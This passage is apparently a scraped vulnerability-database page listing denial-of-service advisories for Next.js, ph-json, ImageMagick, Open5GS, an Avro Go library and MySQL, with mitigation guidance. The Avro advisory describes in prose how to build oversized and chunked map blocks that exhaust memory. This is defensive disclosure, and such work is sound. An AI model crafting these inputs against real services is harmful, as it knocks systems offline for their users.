  "details": "A vulnerability affects certain React packages for versions 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.1.2, 19.2.0, and 19.2.1 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as [CVE-2025-55184](https://www.cve.org/CVERecord?id=CVE-2025-55184).\n\nA malicious HTTP request can be crafted and sent to any App Router endpoint that, when deserialized, can cause the server process to hang and consume CPU. This can result in denial of service in unpatched environments.",
  "id": "GHSA-mwv6-3258-q52c",
  "modified": "2025-12-11T22:49:28Z",
  "published": "2025-12-11T22:49:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vercel/next.js/security/advisories/GHSA-mwv6-3258-q52c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vercel/next.js"
    },
    {
      "type": "WEB",
      "url": "https://nextjs.org/blog/security-update-2025-12-11"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-55184"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Next Vulnerable to Denial of Service with Server Components"
}

GHSA-MX27-GG24-H2JC

Vulnerability from github – Published: 2023-06-14 15:30 – Updated: 2025-01-06 22:13
VLAI
Summary
ph-json vulnerable to stack exhaustion
Details

An issue was discovered ph-json through 9.5.5 allows attackers to cause a denial of service or other unspecified impacts via crafted object that uses cyclic dependencies.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.helger.commons:ph-json"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "11.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-34612"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-14T21:09:37Z",
    "nvd_published_at": "2023-06-14T14:15:10Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered ph-json through 9.5.5 allows attackers to cause a denial of service or other unspecified impacts via crafted object that uses cyclic dependencies.",
  "id": "GHSA-mx27-gg24-h2jc",
  "modified": "2025-01-06T22:13:35Z",
  "published": "2023-06-14T15:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34612"
    },
    {
      "type": "WEB",
      "url": "https://github.com/phax/ph-commons/issues/35"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/phax/ph-commons"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ph-json vulnerable to stack exhaustion"
}

GHSA-MX48-2QQ3-23HF

Vulnerability from github – Published: 2026-07-24 14:05 – Updated: 2026-07-24 14:05
VLAI
Summary
ImageMagick: Stack Overflow in MVG decoder due to missing depth check.
Details

A missing depth check in the MVG decoder will result in a stack overflow when a crafted image is provided.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55594"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T14:05:39Z",
    "nvd_published_at": "2026-07-01T19:16:55Z",
    "severity": "MODERATE"
  },
  "details": "A missing depth check in the MVG decoder will result in a stack overflow when a crafted image is provided.",
  "id": "GHSA-mx48-2qq3-23hf",
  "modified": "2026-07-24T14:05:39Z",
  "published": "2026-07-24T14:05:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-mx48-2qq3-23hf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55594"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ImageMagick/ImageMagick"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.15.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ImageMagick: Stack Overflow in MVG decoder due to missing depth check."
}

GHSA-MX53-8X3C-JGQV

Vulnerability from github – Published: 2025-01-22 15:32 – Updated: 2025-01-23 15:31
VLAI
Details

Open5GS MME versions <= 2.6.4 contain a reachable assertion in the UE Context Release Request packet handler. A packet containing an invalid MME_UE_S1AP_ID field causes Open5gs to crash; an attacker may repeatedly send such packets to cause denial of service.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2023-37022"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-22T15:15:11Z",
    "severity": "HIGH"
  },
  "details": "Open5GS MME versions \u003c= 2.6.4 contain a reachable assertion in the `UE Context Release Request` packet handler. A packet containing an invalid `MME_UE_S1AP_ID` field causes Open5gs to crash; an attacker may repeatedly send such packets to cause denial of service.",
  "id": "GHSA-mx53-8x3c-jgqv",
  "modified": "2025-01-23T15:31:05Z",
  "published": "2025-01-22T15:32:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37022"
    },
    {
      "type": "WEB",
      "url": "https://cellularsecurity.org/ransacked"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MX64-MJ3Q-7PRJ

Vulnerability from github – Published: 2026-05-18 12:59 – Updated: 2026-05-18 12:59
VLAI
Summary
iskorotkov/avro: Denial-of-Service Vulnerability in Decoder
Details

Memory Exhaustion via Unbounded Map Allocations in Avro Decoder

Summary

The Avro map decoder accepted attacker-controlled block-element counts from the wire format and grew the destination map without enforcing an upper bound. The slice decoder already had Config.MaxSliceAllocSize for the equivalent attack against arrays; the map decoder had no analogous limit, so a producer could declare an arbitrarily large map (in one block, or chunked across many sub-limit blocks) and exhaust process memory until the OOM killer fired.

The fix introduces Config.MaxMapAllocSize with cumulative enforcement across block boundaries. The new limit is opt-in: the field defaults to zero, which preserves the previous unbounded behavior for backward compatibility. Upgrading to v2.33.0 alone does not mitigate the issue — consumers of untrusted Avro data must explicitly set MaxMapAllocSize on their avro.Config.

Description

Avro maps are encoded as a sequence of blocks; each block declares a long element count followed by that many key/value pairs. The decoder uses these counts both to size the destination map and as the loop bound for reading entries.

Pre-fix, the map decoder enforced no upper limit at any layer:

  • No per-block element-count check.
  • No cumulative across-block element-count check.
  • No memory-budget check before make(map[...]..., n) or before growing the map.

The slice decoder had been hardened via Config.MaxSliceAllocSize and tracked cumulatively across blocks; the map decoder was a missing-by-symmetry gap. Even a partial per-block bound on maps would have been insufficient on its own — Avro permits encoding a logical map as many small blocks, so a producer could split a 10 GB map into 10,000 sub-MaxMapAllocSize blocks and still drive total allocation past any single-block threshold. The fix tracks cumulative entry count at block-header boundaries — before the block's entries are decoded into the map — and errors out before allocation when the running total would exceed the configured cap.

Two decoder variants were affected, both in codec_map.go:

  • mapDecoder.Decode — string-keyed maps.
  • mapDecoderUnmarshaler.Decode — encoding.TextUnmarshaler-keyed maps (e.g. map[CustomKey]V where *CustomKey implements UnmarshalText).

Affected components

File Symbol Pre-fix behavior Post-fix behavior
config.go Config.MaxMapAllocSize Field did not exist New int field; default zero means unlimited (back-compat)
codec_map.go mapDecoder.Decode Read block count, grew map unbounded Validates cumulative count against MaxMapAllocSize at each block header
codec_map.go mapDecoderUnmarshaler.Decode Same Same

PR #5 (fix/map-alloc-chunking-bypass) covers both decoders and adds chunking-attack tests for both. The same PR also adds the previously-missing chunking-attack test coverage for the slice path in 534c7518 — the slice logic was already correct, only its test coverage was incomplete.

Technical details

The fix mirrors the slice decoder's pattern:

  1. At each block header, read the element count as int64.
  2. Add it to a running total maintained across the block loop.
  3. If the running total exceeds Config.MaxMapAllocSize (when nonzero), return an error before allocating any of that block's entries.
  4. Otherwise, decode the block's entries into the map.

Per-block enforcement alone would be bypassable by chunking; cumulative tracking closes that. The check sits at the block-header read, before per-entry allocation, so a single oversized block also cannot allocate first and then fail post-hoc.

Config.MaxMapAllocSize semantics match Config.MaxSliceAllocSize: zero means unlimited, any positive value is the cumulative cap on element count (not byte size).

Fixed behavior

v2.33.0 adds the MaxMapAllocSize configuration field and the cumulative-enforcement logic in both map decoders. Both decoders return a descriptive error when the cumulative entry count would exceed the configured cap; no entries are allocated past the limit.

Tests added in PR #5 cover, for both mapDecoder and mapDecoderUnmarshaler:

  • Single-block allocation exceeding the limit (rejected before allocation).
  • Chunking attack: multiple sub-limit blocks whose cumulative count exceeds the limit (rejected at the block-header that crosses the threshold).
  • Multi-block under the limit (decoded normally).

Affected versions

  • github.com/hamba/avro/v2 — all versions up to and including v2.31.0 (repository is read-only upstream).
  • github.com/iskorotkov/avro/v2 — all versions prior to v2.33.0. Note: v2.33.0 and later are vulnerable by default and only protected when MaxMapAllocSize is explicitly configured — see Mitigation.

Fixed versions

github.com/iskorotkov/avro/v2 v2.33.0 and later, with Config.MaxMapAllocSize explicitly set to a non-zero value.

A bare upgrade to v2.33.0 without setting MaxMapAllocSize leaves the decoder in the same unbounded state as v2.32.0. This is a backward-compatibility choice; a future major version may flip the default. Until then, treat this advisory as requiring both an upgrade and a configuration change.

There is no upstream fix for github.com/hamba/avro/v2 — module path is archived. Migrate to the fork as described under Mitigation.

Mitigation

Migrate from github.com/hamba/avro/v2 to github.com/iskorotkov/avro/v2 >= v2.33.0 and configure an allocation cap appropriate for your schema. The recommended approach for processes that decode untrusted input is a dedicated frozen config, used at every relevant call site, rather than mutating avro.DefaultConfig:

cfg := avro.Config{
    MaxByteSliceSize:  102_400,
    MaxSliceAllocSize: 10_000,
    MaxMapAllocSize:   10_000,
}.Freeze()

decoder := cfg.NewDecoder(schema, reader)

Choose the values based on the largest legitimate map your schema produces; a value 2–10× that ceiling provides headroom for benign variance while still bounding worst-case memory.

For consumers that prefer the original import path, a replace directive in go.mod is supported:

replace github.com/hamba/avro/v2 => github.com/iskorotkov/avro/v2 v2.33.0

replace is honoured only for the main module of a build — transitive consumers must add their own replace, or migrate the import path directly.

If you cannot upgrade immediately, the only structural workarounds are out-of-band: run decoders in memory-constrained child processes or cgroups so an OOM is contained, reject inputs from sources without resource controls, and apply per-request decode deadlines so a runaway decode at least times out before the OOM killer fires.

Proof-of-concept input

Two attack shapes, both targeting map[string]int:

Single-block, oversize block count. Emit one block header declaring n = 2³¹ − 1 (or any value whose n × averageEntrySize exceeds available memory) followed by truncated entries. Pre-fix, the decoder pre-allocates make(map[string]int, n), which fails or stalls long before EOF is reached.

Chunking bypass. Emit k blocks each declaring n / k elements, with n / k below any plausible per-block threshold but n itself well into the GB range. Pre-fix, the decoder happily grows the map block-by-block until the OS kills the process. Post-fix with MaxMapAllocSize = 10_000, the decoder rejects whichever block-header read pushes cumulative count past 10,000.

Either shape can be produced by hand-crafting the wire bytes; no iskorotkov/avro writer is needed to generate them.

References

Credits

  • Fix author (commit 5192df9, PR #5 — MaxMapAllocSize config field, cumulative enforcement in both map decoders, chunking-attack tests for slices and maps): Ivan Korotkov (@iskorotkov)
  • Review (commit a5fbddcb, "address review comments"): Daniel Błażewicz (@klajok)

Timeline

  • 2026-04-30 — MaxMapAllocSize introduced (5192df9); chunking-attack test coverage for slices added (534c7518).
  • 2026-05-01 — PR #5 merged into main.
  • 2026-05-06 — v2.33.0 tagged and released.
  • 2026-05-07 — Advisory published.
  • 2026-05-15 — Advisory revised.
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/iskorotkov/avro/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.33.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284",
      "CWE-400",
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T12:59:58Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Memory Exhaustion via Unbounded Map Allocations in Avro Decoder\n\n## Summary\n\nThe Avro map decoder accepted attacker-controlled block-element counts from the wire format and grew the destination map without enforcing an upper bound. The slice decoder already had `Config.MaxSliceAllocSize` for the equivalent attack against arrays; the map decoder had no analogous limit, so a producer could declare an arbitrarily large map (in one block, or chunked across many sub-limit blocks) and exhaust process memory until the OOM killer fired.\n\nThe fix introduces `Config.MaxMapAllocSize` with cumulative enforcement across block boundaries. **The new limit is opt-in**: the field defaults to zero, which preserves the previous unbounded behavior for backward compatibility. **Upgrading to `v2.33.0` alone does not mitigate the issue** \u2014 consumers of untrusted Avro data must explicitly set `MaxMapAllocSize` on their `avro.Config`.\n\n## Description\n\nAvro maps are encoded as a sequence of blocks; each block declares a `long` element count followed by that many key/value pairs. The decoder uses these counts both to size the destination map and as the loop bound for reading entries.\n\nPre-fix, the map decoder enforced no upper limit at any layer:\n\n- No per-block element-count check.\n- No cumulative across-block element-count check.\n- No memory-budget check before `make(map[...]..., n)` or before growing the map.\n\nThe slice decoder had been hardened via `Config.MaxSliceAllocSize` and tracked cumulatively across blocks; the map decoder was a missing-by-symmetry gap. Even a partial per-block bound on maps would have been insufficient on its own \u2014 Avro permits encoding a logical map as many small blocks, so a producer could split a 10 GB map into 10,000 sub-MaxMapAllocSize blocks and still drive total allocation past any single-block threshold. The fix tracks cumulative entry count at block-header boundaries \u2014 *before* the block\u0027s entries are decoded into the map \u2014 and errors out before allocation when the running total would exceed the configured cap.\n\nTwo decoder variants were affected, both in `codec_map.go`:\n\n- `mapDecoder.Decode` \u2014 string-keyed maps.\n- `mapDecoderUnmarshaler.Decode` \u2014 `encoding.TextUnmarshaler`-keyed maps (e.g. `map[CustomKey]V` where `*CustomKey` implements `UnmarshalText`).\n\n## Affected components\n\n| File | Symbol | Pre-fix behavior | Post-fix behavior |\n|------|--------|------------------|-------------------|\n| `config.go` | `Config.MaxMapAllocSize` | Field did not exist | New `int` field; default zero means unlimited (back-compat) |\n| `codec_map.go` | `mapDecoder.Decode` | Read block count, grew map unbounded | Validates cumulative count against `MaxMapAllocSize` at each block header |\n| `codec_map.go` | `mapDecoderUnmarshaler.Decode` | Same | Same |\n\nPR [#5](https://github.com/iskorotkov/avro/pull/5) (`fix/map-alloc-chunking-bypass`) covers both decoders and adds chunking-attack tests for both. The same PR also adds the previously-missing chunking-attack test coverage for the slice path in `534c7518` \u2014 the slice *logic* was already correct, only its test coverage was incomplete.\n\n## Technical details\n\nThe fix mirrors the slice decoder\u0027s pattern:\n\n1. At each block header, read the element count as `int64`.\n2. Add it to a running total maintained across the block loop.\n3. If the running total exceeds `Config.MaxMapAllocSize` (when nonzero), return an error before allocating any of that block\u0027s entries.\n4. Otherwise, decode the block\u0027s entries into the map.\n\nPer-block enforcement alone would be bypassable by chunking; cumulative tracking closes that. The check sits at the block-header read, *before* per-entry allocation, so a single oversized block also cannot allocate first and then fail post-hoc.\n\n`Config.MaxMapAllocSize` semantics match `Config.MaxSliceAllocSize`: zero means unlimited, any positive value is the cumulative cap on element count (not byte size).\n\n## Fixed behavior\n\n`v2.33.0` adds the `MaxMapAllocSize` configuration field and the cumulative-enforcement logic in both map decoders. Both decoders return a descriptive error when the cumulative entry count would exceed the configured cap; no entries are allocated past the limit.\n\nTests added in PR #5 cover, for both `mapDecoder` and `mapDecoderUnmarshaler`:\n\n- Single-block allocation exceeding the limit (rejected before allocation).\n- Chunking attack: multiple sub-limit blocks whose cumulative count exceeds the limit (rejected at the block-header that crosses the threshold).\n- Multi-block under the limit (decoded normally).\n\n## Affected versions\n\n- `github.com/hamba/avro/v2` \u2014 all versions up to and including `v2.31.0` (repository is read-only upstream).\n- `github.com/iskorotkov/avro/v2` \u2014 all versions prior to `v2.33.0`. Note: `v2.33.0` and later are vulnerable *by default* and only protected when `MaxMapAllocSize` is explicitly configured \u2014 see Mitigation.\n\n## Fixed versions\n\n`github.com/iskorotkov/avro/v2` `v2.33.0` and later, **with `Config.MaxMapAllocSize` explicitly set to a non-zero value**.\n\nA bare upgrade to `v2.33.0` without setting `MaxMapAllocSize` leaves the decoder in the same unbounded state as `v2.32.0`. This is a backward-compatibility choice; a future major version may flip the default. Until then, treat this advisory as requiring both an upgrade *and* a configuration change.\n\nThere is no upstream fix for `github.com/hamba/avro/v2` \u2014 module path is archived. Migrate to the fork as described under Mitigation.\n\n## Mitigation\n\nMigrate from `github.com/hamba/avro/v2` to `github.com/iskorotkov/avro/v2 \u003e= v2.33.0` **and** configure an allocation cap appropriate for your schema. The recommended approach for processes that decode untrusted input is a dedicated frozen config, used at every relevant call site, rather than mutating `avro.DefaultConfig`:\n\n```go\ncfg := avro.Config{\n    MaxByteSliceSize:  102_400,\n    MaxSliceAllocSize: 10_000,\n    MaxMapAllocSize:   10_000,\n}.Freeze()\n\ndecoder := cfg.NewDecoder(schema, reader)\n```\n\nChoose the values based on the largest legitimate map your schema produces; a value 2\u201310\u00d7 that ceiling provides headroom for benign variance while still bounding worst-case memory.\n\nFor consumers that prefer the original import path, a `replace` directive in `go.mod` is supported:\n\n```\nreplace github.com/hamba/avro/v2 =\u003e github.com/iskorotkov/avro/v2 v2.33.0\n```\n\n`replace` is honoured only for the **main** module of a build \u2014 transitive consumers must add their own `replace`, or migrate the import path directly.\n\nIf you cannot upgrade immediately, the only structural workarounds are out-of-band: run decoders in memory-constrained child processes or cgroups so an OOM is contained, reject inputs from sources without resource controls, and apply per-request decode deadlines so a runaway decode at least times out before the OOM killer fires.\n\n## Proof-of-concept input\n\nTwo attack shapes, both targeting `map[string]int`:\n\n**Single-block, oversize block count.** Emit one block header declaring `n = 2\u00b3\u00b9 \u2212 1` (or any value whose `n \u00d7 averageEntrySize` exceeds available memory) followed by truncated entries. Pre-fix, the decoder pre-allocates `make(map[string]int, n)`, which fails or stalls long before EOF is reached.\n\n**Chunking bypass.** Emit `k` blocks each declaring `n / k` elements, with `n / k` below any plausible per-block threshold but `n` itself well into the GB range. Pre-fix, the decoder happily grows the map block-by-block until the OS kills the process. Post-fix with `MaxMapAllocSize = 10_000`, the decoder rejects whichever block-header read pushes cumulative count past 10,000.\n\nEither shape can be produced by hand-crafting the wire bytes; no `iskorotkov/avro` writer is needed to generate them.\n\n## References\n\n- Fix PR: [iskorotkov/avro#5](https://github.com/iskorotkov/avro/pull/5)\n- Fix commit: [`5192df9`](https://github.com/iskorotkov/avro/commit/5192df96a158999344ac96ebcb1f7461d626f6d7) (`codec_map.go`, `config.go`, tests)\n- Slice-path chunking-attack test coverage added in the same PR: [`534c7518`](https://github.com/iskorotkov/avro/commit/534c7518152a893d8b4dea962669bd1123308a00)\n- Release: [`v2.33.0`](https://github.com/iskorotkov/avro/releases/tag/v2.33.0)\n- Security policy: [`SECURITY.md`](https://github.com/iskorotkov/avro/blob/main/SECURITY.md)\n- Related advisories on this fork: [`GHSA-mc57-h6j3-3hmv`](https://github.com/iskorotkov/avro/security/advisories/GHSA-mc57-h6j3-3hmv) (integer overflow), [`GHSA-w8j3-pq8g-8m7w`](https://github.com/iskorotkov/avro/security/advisories/GHSA-w8j3-pq8g-8m7w) (CPU exhaustion \u2014 the same chunked-payload shape may trigger both before allocation pressure kicks in)\n- Cross-module precedent on `hamba/avro`: [`GO-2023-1930`](https://pkg.go.dev/vuln/GO-2023-1930) / `CVE-2023-37475` / `GHSA-9x44-9pgq-cf45`\n- Upstream (read-only): [`hamba/avro`](https://github.com/hamba/avro)\n\n## Credits\n\n- **Fix author** (commit `5192df9`, PR #5 \u2014 `MaxMapAllocSize` config field, cumulative enforcement in both map decoders, chunking-attack tests for slices and maps): Ivan Korotkov ([@iskorotkov](https://github.com/iskorotkov))\n- **Review** (commit `a5fbddcb`, \"address review comments\"): Daniel B\u0142a\u017cewicz ([@klajok](https://github.com/klajok))\n\n## Timeline\n\n- **2026-04-30** \u2014 `MaxMapAllocSize` introduced (`5192df9`); chunking-attack test coverage for slices added (`534c7518`).\n- **2026-05-01** \u2014 PR #5 merged into `main`.\n- **2026-05-06** \u2014 `v2.33.0` tagged and released.\n- **2026-05-07** \u2014 Advisory published.\n- **2026-05-15** \u2014 Advisory revised.",
  "id": "GHSA-mx64-mj3q-7prj",
  "modified": "2026-05-18T12:59:58Z",
  "published": "2026-05-18T12:59:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/iskorotkov/avro/security/advisories/GHSA-mx64-mj3q-7prj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/iskorotkov/avro"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "iskorotkov/avro: Denial-of-Service Vulnerability in Decoder"
}

GHSA-MX69-4QPQ-MVF3

Vulnerability from github – Published: 2025-04-15 21:31 – Updated: 2025-11-03 21:33
VLAI
Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Parser). Supported versions that are affected are 8.0.0-8.0.41, 8.4.0-8.4.4 and 9.0.0-9.2.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-21574"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-15T21:15:47Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Parser).  Supported versions that are affected are 8.0.0-8.0.41, 8.4.0-8.4.4 and  9.0.0-9.2.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-mx69-4qpq-mvf3",
  "modified": "2025-11-03T21:33:31Z",
  "published": "2025-04-15T21:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21574"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250502-0006"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2025.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
